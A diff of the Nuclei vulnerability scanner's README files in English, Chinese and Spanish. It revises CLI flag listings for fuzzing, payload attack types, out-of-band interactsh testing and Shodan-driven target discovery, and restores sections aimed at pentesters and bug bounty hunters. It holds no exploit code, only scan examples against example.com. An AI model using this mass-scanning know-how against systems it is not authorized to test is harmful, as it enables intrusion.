||||
@@ -179,12 +167,9 @@ OUTPUT:
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
-je, -json-export string file to export results in JSON format
|
||||
-jle, -jsonl-export string file to export results in JSONL(ine) format
|
||||
-rd, -redact string[] redact given list of keys from query parameter, request header and body
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string path to the nuclei configuration file
|
||||
-tp, -profile string template profile config file to run
|
||||
-tpl, -profile-list list community template profiles
|
||||
-fr, -follow-redirects enable following redirects for http templates
|
||||
-fhr, -follow-host-redirects follow redirects on the same host
|
||||
-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
|
||||
@@ -204,17 +189,16 @@ CONFIGURATIONS:
|
||||
-sml, -show-match-line show match lines for file templates, works with extractors only
|
||||
-ztls use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default
|
||||
-sni string tls sni hostname to use (default: input domain name)
|
||||
-dka, -dialer-keep-alive value keep-alive duration for network requests.
|
||||
-lfa, -allow-local-file-access allows file (payload) access anywhere on the system
|
||||
-lna, -restrict-local-network-access blocks connections to the local / private network
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-config-directory string override the default config path ($home/.config)
|
||||
-rsr, -response-size-read int max response size to read in bytes (default 10485760)
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
@@ -226,49 +210,40 @@ INTERACTSH:
|
||||
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
|
||||
|
||||
FUZZING:
|
||||
-ft, -fuzzing-type string overrides fuzzing type set in template (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string overrides fuzzing mode set in template (multiple, single)
|
||||
-fuzz enable loading fuzzing templates (Deprecated: use -dast instead)
|
||||
-dast enable / run dast (fuzz) nuclei templates
|
||||
-dfp, -display-fuzz-points display fuzz points in the output for debugging
|
||||
-fuzz-param-frequency int frequency of uninteresting parameters for fuzzing before skipping (default 10)
|
||||
-fa, -fuzz-aggression string fuzzing aggression level controls payload count for fuzz (low, medium, high) (default "low")
|
||||
-ft, -fuzzing-type string overrides fuzzing type set in template (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string overrides fuzzing mode set in template (multiple, single)
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow,google) (default shodan)
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ur, -uncover-ratelimit int override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rld, -rate-limit-duration value maximum number of requests to send per second (default 1s)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute (DEPRECATED)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
|
||||
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
|
||||
-jsc, -js-concurrency int maximum number of javascript runtimes to be executed in parallel (default 120)
|
||||
-pc, -payload-concurrency int max payload concurrency for each template (default 25)
|
||||
-prc, -probe-concurrency int http probe concurrency with httpx (default 50)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-te, -track-error string[] adds given error to max-host-error watchlist (standard, file)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path (default "/tmp")
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default auto)
|
||||
-irt, -input-read-timeout value timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-no-stdin disable stdin processing
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-te, -track-error string[] adds given error to max-host-error watchlist (standard, file)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path (default "/tmp")
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default auto)
|
||||
-irt, -input-read-timeout duration timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-no-stdin disable stdin processing
|
||||
|
||||
HEADLESS:
|
||||
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
|
||||
@@ -307,42 +282,100 @@ STATISTICS:
|
||||
-stats display statistics about the running scan
|
||||
-sj, -stats-json display statistics in JSONL(ines) format
|
||||
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
|
||||
-m, -metrics expose nuclei metrics on a port
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
|
||||
CLOUD:
|
||||
-auth configure projectdiscovery cloud (pdcp) api key (default true)
|
||||
-tid, -team-id string upload scan results to given team id (optional) (default "none")
|
||||
-cup, -cloud-upload upload scan results to pdcp dashboard
|
||||
-sid, -scan-id string upload scan results to existing scan id (optional)
|
||||
-sname, -scan-name string scan name to set (optional)
|
||||
|
||||
AUTHENTICATION:
|
||||
-sf, -secret-file string[] path to config file containing secrets for nuclei authenticated scan
|
||||
-ps, -prefetch-secrets prefetch secrets from the secrets file
|
||||
|
||||
|
||||
EXAMPLES:
|
||||
Run nuclei on single host:
|
||||
$ nuclei -target example.com
|
||||
|
||||
Run nuclei with specific template directories:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
Run nuclei against a list of hosts:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
Run nuclei with a JSON output:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
Run nuclei with sorted Markdown outputs (with environment variables):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
Additional documentation is available at: https://docs.nuclei.sh/getting-started/running
|
||||
```
|
||||
|
||||
### Running Nuclei
|
||||
|
||||
See https://docs.projectdiscovery.io/tools/nuclei/running for details on running Nuclei
|
||||
Scanning target domain with [community-curated](https://github.com/projectdiscovery/nuclei-templates) nuclei templates.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com
|
||||
```
|
||||
|
||||
Scanning target URLs with [community-curated](https://github.com/projectdiscovery/nuclei-templates) nuclei templates.
|
||||
|
||||
```sh
|
||||
nuclei -list urls.txt
|
||||
```
|
||||
|
||||
Example of `urls.txt`:
|
||||
|
||||
```yaml
|
||||
http://example.com
|
||||
http://app.example.com
|
||||
http://test.example.com
|
||||
http://uat.example.com
|
||||
```
|
||||
|
||||
**More detailed examples of running nuclei can be found [here](https://nuclei.projectdiscovery.io/nuclei/get-started/#running-nuclei).**
|
||||
|
||||
# For Security Engineers
|
||||
|
||||
Nuclei offers great number of features that are helpful for security engineers to customise workflow in their organization. With the varieties of scan capabilities (like DNS, HTTP, TCP), security engineers can easily create their suite of custom checks with Nuclei.
|
||||
|
||||
- Varieties of protocols supported: TCP, DNS, HTTP, File, etc
|
||||
- Achieve complex vulnerability steps with workflows and [dynamic requests.](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/)
|
||||
- Easy to integrate into CI/CD, designed to be easily integrated into regression cycle to actively check the fix and re-appearance of vulnerability.
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://nuclei.projectdiscovery.io/nuclei/get-started/"><img src="static/learn-more-button.png" width="170px" alt="Learn More"></a>
|
||||
</h1>
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
**For Bug Bounty hunters:**
|
||||
|
||||
Nuclei allows you to customise your testing approach with your own suite of checks and easily run across your bug bounty programs. Moreover, Nuclei can be easily integrated into any continuous scanning workflow.
|
||||
|
||||
- Designed to be easily integrated into other tool workflow.
|
||||
- Can process thousands of hosts in few minutes.
|
||||
- Easily automate your custom testing approach with our simple YAML DSL.
|
||||
|
||||
Please check our other open-source projects that might fit into your bug bounty workflow: [github.com/projectdiscovery](http://github.com/projectdiscovery), we also host daily [refresh of DNS data at Chaos](http://chaos.projectdiscovery.io).
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
**For Penetration Testers:**
|
||||
|
||||
Nuclei immensely improve how you approach security assessment by augmenting the manual, repetitive processes. Consultancies are already converting their manual assessment steps with Nuclei, it allows them to run set of their custom assessment approach across thousands of hosts in an automated manner.
|
||||
|
||||
Pen-testers get the full power of our public templates and customization capabilities to speed up their assessment process, and specifically with the regression cycle where you can easily verify the fix.
|
||||
|
||||
- Easily create your compliance, standards suite (e.g. OWASP Top 10) checklist.
|
||||
- With capabilities like [fuzz](https://nuclei.projectdiscovery.io/templating-guide/protocols/http-fuzzing/) and [workflows](https://nuclei.projectdiscovery.io/templating-guide/workflows/), complex manual steps and repetitive assessment can be easily automated with Nuclei.
|
||||
- Easy to re-test vulnerability-fix by just re-running the template.
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
|
||||
# For Developers and Organizations
|
||||
|
||||
Nuclei is built with simplicity in mind, with the community backed templates by hundreds of security researchers, it allows you to stay updated with the latest security threats using continuous Nuclei scanning on the hosts. It is designed to be easily integrated into regression tests cycle, to verify the fixes and eliminate vulnerabilities from occurring in the future.
|
||||
|
||||
- **CI/CD:** Engineers are already utilising Nuclei within their CI/CD pipeline, it allows them to constantly monitor their staging and production environments with customised templates.
|
||||
- **Continuous Regression Cycle:** With Nuclei, you can create your custom template on every new identified vulnerability and put into Nuclei engine to eliminate in the continuous regression cycle.
|
||||
|
||||
We have [a discussion thread around this](https://github.com/projectdiscovery/nuclei-templates/discussions/693), there are already some bug bounty programs giving incentives to hackers on writing nuclei templates with every submission, that helps them to eliminate the vulnerability across all their assets, as well as to eliminate future risk in reappearing on productions. If you're interested in implementing it in your organization, feel free to [reach out to us](mailto:[email protected]). We will be more than happy to help you in the getting started process, or you can also post into the [discussion thread for any help](https://github.com/projectdiscovery/nuclei-templates/discussions/693).
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/regression-with-nuclei.jpg" alt="regression-cycle-with-nuclei" width="1100px"></a>
|
||||
</h3>
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://github.com/projectdiscovery/nuclei-action"><img src="static/learn-more-button.png" width="170px" alt="Learn More"></a>
|
||||
</h1>
|
||||
|
||||
### Using Nuclei From Go Code
|
||||
|
||||
@@ -351,9 +384,17 @@ Complete guide of using Nuclei as Library/SDK is available at [godoc](https://pk
|
||||
|
||||
### Resources
|
||||
|
||||
You can access the main documentation for Nuclei at https://docs.projectdiscovery.io/tools/nuclei/, and learn more about Nuclei in the cloud with [ProjectDiscovery Cloud Platform](https://cloud.projectdiscovery.io)
|
||||
|
||||
See https://docs.projectdiscovery.io/tools/nuclei/resources for more resources and videos about Nuclei!
|
||||
- [Finding bugs with Nuclei with PinkDraconian (Robbe Van Roey)](https://www.youtube.com/watch?v=ewP0xVPW-Pk) by **[@PinkDraconian](https://twitter.com/PinkDraconian)**
|
||||
- [Nuclei: Packing a Punch with Vulnerability Scanning](https://bishopfox.com/blog/nuclei-vulnerability-scan) by **Bishopfox**
|
||||
- [The WAF efficacy framework](https://www.fastly.com/blog/the-waf-efficacy-framework-measuring-the-effectiveness-of-your-waf) by **Fastly**
|
||||
- [Scanning Live Web Applications with Nuclei in CI/CD Pipeline](https://blog.escape.tech/devsecops-part-iii-scanning-live-web-applications/) by **[@TristanKalos](https://twitter.com/TristanKalos)**
|
||||
- [Community Powered Scanning with Nuclei](https://blog.projectdiscovery.io/community-powered-scanning-with-nuclei/)
|
||||
- [Nuclei Unleashed - Quickly write complex exploits](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/)
|
||||
- [Nuclei - Fuzz all the things](https://blog.projectdiscovery.io/nuclei-fuzz-all-the-things/)
|
||||
- [Nuclei + Interactsh Integration for Automating OOB Testing](https://blog.projectdiscovery.io/nuclei-interactsh-integration/)
|
||||
- [Weaponizes nuclei Workflows to Pwn All the Things](https://medium.com/@dwisiswant0/weaponizes-nuclei-workflows-to-pwn-all-the-things-cd01223feb77) by **[@dwisiswant0](https://github.com/dwisiswant0)**
|
||||
- [How to Scan Continuously with Nuclei?](https://medium.com/@dwisiswant0/how-to-scan-continuously-with-nuclei-fcb7e9d8b8b9) by **[@dwisiswant0](https://github.com/dwisiswant0)**
|
||||
- [Hack with Automation !!!](https://dhiyaneshgeek.github.io/web/security/2021/07/19/hack-with-automation/) by **[@DhiyaneshGeek](https://github.com/DhiyaneshGeek)**
|
||||
|
||||
### Credits
|
||||
|
||||
@@ -377,5 +418,5 @@ Do also check out the below similar open-source projects that may fit in your wo
|
||||
Nuclei is distributed under [MIT License](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://docs.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a>
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://nuclei.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a>
|
||||
</h1>
|
||||
@@ -7,7 +7,7 @@
|
||||
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei?filename=v2%2Fgo.mod">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/downloads/projectdiscovery/nuclei/total">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"><img src="https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases/"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei">
|
||||
@@ -23,24 +23,22 @@
|
||||
<a href="#对于安全工程师">对于安全工程师</a> •
|
||||
<a href="#对于开发和组织">对于开发者</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/nuclei/get-started/">文档</a> •
|
||||
<a href="#致谢">致谢</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">常见问题</a> •
|
||||
<a href="#c致谢">致谢</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/nuclei/">常见问题</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">加入Discord</a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
Nuclei使用零误报的定制模板向目标发送请求,同时可以对主机进行批量快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描,通过强大且灵活的模板,可以使用Nuclei模拟各种安全检查。
|
||||
|
||||
我们的[模板仓库](https://github.com/projectdiscovery/nuclei-templates)包含**超过300名**安全研究员和工程师提供的模板。
|
||||
我们的[模板仓库](https://github.com/projectdiscovery/nuclei-templates)包含**超过300**安全研究员和工程师提供的模板。
|
||||
|
||||
|
||||
|
||||
@@ -51,36 +49,15 @@ Nuclei使用零误报的定制模板向目标发送请求,同时可以对主
|
||||
<img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a>
|
||||
</h3>
|
||||
|
||||
| :exclamation: **免责声明** |
|
||||
|---------------------------------|
|
||||
| **这个项目正在积极开发中**。预计发布会带来突破性的更改。更新前请查看版本更改日志。 |
|
||||
| 这个项目主要是为了作为一个独立的命令行工具而构建的。 **将Nuclei作为服务运行可能存在安全风险。** 强烈建议谨慎使用,并采取额外的安全措施。 |
|
||||
|
||||
# 安装Nuclei
|
||||
|
||||
Nuclei需要 **go1.21** 才能安装成功。执行下列命令安装最新版本的Nuclei
|
||||
Nuclei需要**go1**才能安装成功。执行下列命令安装最新版本的Nuclei
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Brew</summary>
|
||||
|
||||
```sh
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
</details>
|
||||
<details>
|
||||
<summary>Docker</summary>
|
||||
|
||||
```sh
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**更多的安装方式 [请点击此处](https://nuclei.projectdiscovery.io/nuclei/get-started/).**
|
||||
|
||||
<table>
|
||||
@@ -123,19 +100,17 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
|
||||
-iv, -ip-version string[] 要扫描的主机名的IP版本(4,6)-(默认为4)
|
||||
|
||||
模板:
|
||||
-nt, -new-templates 仅运行最新发布的nuclei模板
|
||||
-ntv, -new-templates-version string[] 仅运行特定版本中添加的新模板
|
||||
-as, -automatic-scan 基于Wappalyzer技术的标签映射自动扫描
|
||||
-t, -templates string[] 指定要运行的模板或者模板目录(以逗号分隔或目录形式)
|
||||
-turl, -template-url string[] 指定要运行的模板URL或模板目录URL(以逗号分隔或目录形式)
|
||||
-w, -workflows string[] 指定要运行的工作流或工作流目录(以逗号分隔或目录形式)
|
||||
-wurl, -workflow-url string[] 指定要运行的工作流URL或工作流目录URL(以逗号分隔或目录形式)
|
||||
-validate 使用nuclei验证模板有效性
|
||||
-nss, -no-strict-syntax 禁用对模板的严格检查
|
||||
-td, -template-display 显示模板内容
|
||||
-tl 列出所有可用的模板
|
||||
-sign 使用NUCLEI_SIGNATURE_PRIVATE_KEY环境变量中的私钥对模板进行签名
|
||||
-code 启用加载基于协议的代码模板
|
||||
-nt, -new-templates 只扫描最新nuclei-templates版本中添加的模板
|
||||
-ntv, -new-templates-version string[] 运行在特定nuclei-templates版本中添加的新模板
|
||||
-as, -automatic-scan 在web扫描中使用wappalyzer技术检测的指纹找包含对应tags的模板
|
||||
-t, -templates string[] 指定需要扫描的模板文件或者模板目录(逗号分隔,文件)
|
||||
-tu, -template-url string[] 从URL加载模板(逗号分隔,文件)
|
||||
-w, -workflows string[] 指定需要扫描中的工作流文件或者工作流目录(逗号分隔,文件)
|
||||
-wu, -workflow-url string[] 从URL加载工作流(逗号分隔,文件)
|
||||
-validate 验证模板
|
||||
-nss, -no-strict-syntax 禁用对模板的严格语法检查
|
||||
-td, -template-display 显示模板内容
|
||||
-tl 列出所有可用的模板
|
||||
|
||||
过滤:
|
||||
-a, -author string[] 执行指定作者的模板(逗号分隔,文件)
|
||||
@@ -163,7 +138,6 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
|
||||
-j, -jsonl 输出格式为jsonL(ines)
|
||||
-irr, -include-rr 在JSON、JSONL和Markdown中输出请求/响应对(仅结果)[已弃用,使用-omit-raw替代]
|
||||
-or, -omit-raw 在JSON、JSONL和Markdown中不输出请求/响应对
|
||||
-ot, -omit-template 省略JSON、JSONL输出中的编码模板
|
||||
-nm, -no-meta 在cli输出中不打印元数据
|
||||
-ts, -timestamp 在cli输出中打印时间戳
|
||||
-rdb, -report-db string 本地的nuclei结果数据库(始终使用该数据库保存结果)
|
||||
@@ -200,6 +174,7 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
|
||||
-i, -interface string 指定用于网络扫描的网卡
|
||||
-at, -attack-type string payload的组合模式(batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string 指定用于网络扫描的源IP
|
||||
-config-directory string 覆盖默认配置路径($home/.config)
|
||||
-rsr, -response-size-read int 最大读取响应大小(默认:10485760字节)
|
||||
-rss, -response-size-save int 最大储存响应大小(默认:1048576字节)
|
||||
-reset 删除所有nuclei配置和数据文件(包括nuclei-templates)
|
||||
@@ -292,34 +267,34 @@ UNCOVER引擎:
|
||||
-stats 显示正在扫描的统计信息
|
||||
-sj, -stats-json 将统计信息以JSONL格式输出到文件
|
||||
-si, -stats-inerval int 显示统计信息更新的间隔秒数(默认:5)
|
||||
-m, -metrics 开启metrics服务
|
||||
-mp, -metrics-port int 更改metrics服务的端口(默认:9092)
|
||||
|
||||
云服务:
|
||||
-auth 配置projectdiscovery云服务(pdcp)API密钥
|
||||
-cup, -cloud-upload 将扫描结果上传到pdcp仪表板
|
||||
-sid, -scan-id string 将扫描结果上传到指定的扫描ID
|
||||
|
||||
例子:
|
||||
扫描一个单独的URL:
|
||||
$ nuclei -target example.com
|
||||
|
||||
对URL运行指定的模板:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
扫描hosts.txt中的多个URL:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
输出结果为JSON格式:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
使用已排序的Markdown输出(使用环境变量)运行nuclei:
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
云服务:
|
||||
-cloud 在nuclei云上运行扫描
|
||||
-ads, -add-datasource string 添加指定的数据源(s3、github)
|
||||
-atr, -add-target string 向云中添加目标
|
||||
-atm, -add-template string 向云中添加模板
|
||||
-lsn, -list-scan 列出先前的云扫描
|
||||
-lso, -list-output string 按扫描ID列出扫描输出
|
||||
-ltr, -list-target 按ID列出云目标
|
||||
-ltm, -list-template 按ID列出云模板
|
||||
-lds, -list-datasource 按ID列出云数据源
|
||||
-lrs, -list-reportsource 列出报告源
|
||||
-dsn, -delete-scan string 按ID删除云扫描
|
||||
-dtr, -delete-target string 从云中删除目标
|
||||
-dtm, -delete-template string 从云中删除模板
|
||||
-dds, -delete-datasource string 删除指定的数据源
|
||||
-drs, -disable-reportsource string 禁用指定的报告源
|
||||
-ers, -enable-reportsource string 启用指定的报告源
|
||||
-gtr, -get-target string 按ID获取目标内容
|
||||
-gtm, -get-template string 按ID获取模板内容
|
||||
-nos, -no-store 禁用云上的扫描/输出存储
|
||||
-no-tables 不显示漂亮打印的表格
|
||||
-limit int 限制要显示的输出数量(默认 100)
|
||||
|
||||
```
|
||||
|
||||
更多信息请参考文档: https://docs.nuclei.sh/getting-started/running
|
||||
|
||||
|
||||
### 运行Nuclei
|
||||
|
||||
使用[社区提供的模板](https://github.com/projectdiscovery/nuclei-templates)扫描单个目标
|
||||
@@ -397,8 +372,8 @@ Nuclei通过增加手动、自动的过程,极大地改变了安全评估的
|
||||
|
||||
Nuclei构建很简单,通过数百名安全研究员的社区模板,Nuclei可以随时扫描来了解安全威胁。Nuclei通常用来用于复测,以确定漏洞是否被修复。
|
||||
|
||||
- **CI/CD:** 工程师已经支持了CI/CD,可以通过Nuclei使用定制模板来监控模拟环境和生产环境
|
||||
- **周期性扫描:** 使用Nuclei创建新发现的漏洞模板,通过Nuclei可以周期性扫描消除漏洞
|
||||
- **CI/CD:**工程师已经支持了CI/CD,可以通过Nuclei使用定制模板来监控模拟环境和生产环境
|
||||
- **周期性扫描:**使用Nuclei创建新发现的漏洞模板,通过Nuclei可以周期性扫描消除漏洞
|
||||
|
||||
我们有个[讨论组](https://github.com/projectdiscovery/nuclei-templates/discussions/693),黑客提交自己的模板后可以获得赏金,这可以减少资产的漏洞,并且减少重复。如果你想实行该计划,可以[联系我](mailto:[email protected])。我们非常乐意提供帮助,或者在[讨论组](https://github.com/projectdiscovery/nuclei-templates/discussions/693)中发布相关信息。
|
||||
|
||||
@@ -410,10 +385,6 @@ Nuclei构建很简单,通过数百名安全研究员的社区模板,Nuclei
|
||||
<a href="https://github.com/projectdiscovery/nuclei-action"><img src="static/learn-more-button.png" width="170px" alt="Learn More"></a>
|
||||
</h1>
|
||||
|
||||
### 将nuclei加入您的代码
|
||||
|
||||
有关使用Nuclei作为Library/SDK的完整指南,请访问[godoc](https://pkg.go.dev/github.com/projectdiscovery/nuclei/v3/lib#section-readme)
|
||||
|
||||
### 资源
|
||||
|
||||
- [使用PinkDraconian发现Nuclei的BUG (Robbe Van Roey)](https://www.youtube.com/watch?v=ewP0xVPW-Pk) 作者:[@PinkDraconian](https://twitter.com/PinkDraconian)
|
||||
@@ -430,17 +401,7 @@ Nuclei构建很简单,通过数百名安全研究员的社区模板,Nuclei
|
||||
|
||||
### 致谢
|
||||
|
||||
感谢所有[社区贡献者提供的PR](https://github.com/projectdiscovery/nuclei/graphs/contributors),并不断更新此项目:heart:
|
||||
|
||||
如果你有想法或某种改进,欢迎你参与该项目,随时发送你的PR。
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei&max=500">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
另外您可以了解其他类似的开源项目:
|
||||
感谢所有[社区贡献者提供的PR](https://github.com/projectdiscovery/nuclei/graphs/contributors),另外您可以其他类似的开源项目:
|
||||
|
||||
[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)
|
||||
|
||||
|
||||
@@ -1,369 +0,0 @@
|
||||
<h1 align="center">
|
||||
<br>
|
||||
<a href="https://nuclei.projectdiscovery.io"><img src="static/nuclei-logo.png" width="200px" alt="Nuclei"></a>
|
||||
</h1>
|
||||
|
||||
<h4 align="center">Escáner de vulnerabilidades rápido y personalizable basado en un sencillo DSL basado en YAML.</h4>
|
||||
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/downloads/projectdiscovery/nuclei/total">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"><img src="https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases/"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/github/issues-raw/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/discussions"><img src="https://img.shields.io/github/discussions/projectdiscovery/nuclei">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
|
||||
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#how-it-works">Cómo funciona</a> •
|
||||
<a href="#install-nuclei">Instalación</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/">Documentación</a> •
|
||||
<a href="#credits">Créditos</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">Preguntas Frecuentes</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Únete a Discord</a>
|
||||
</p>
|
||||
|
||||
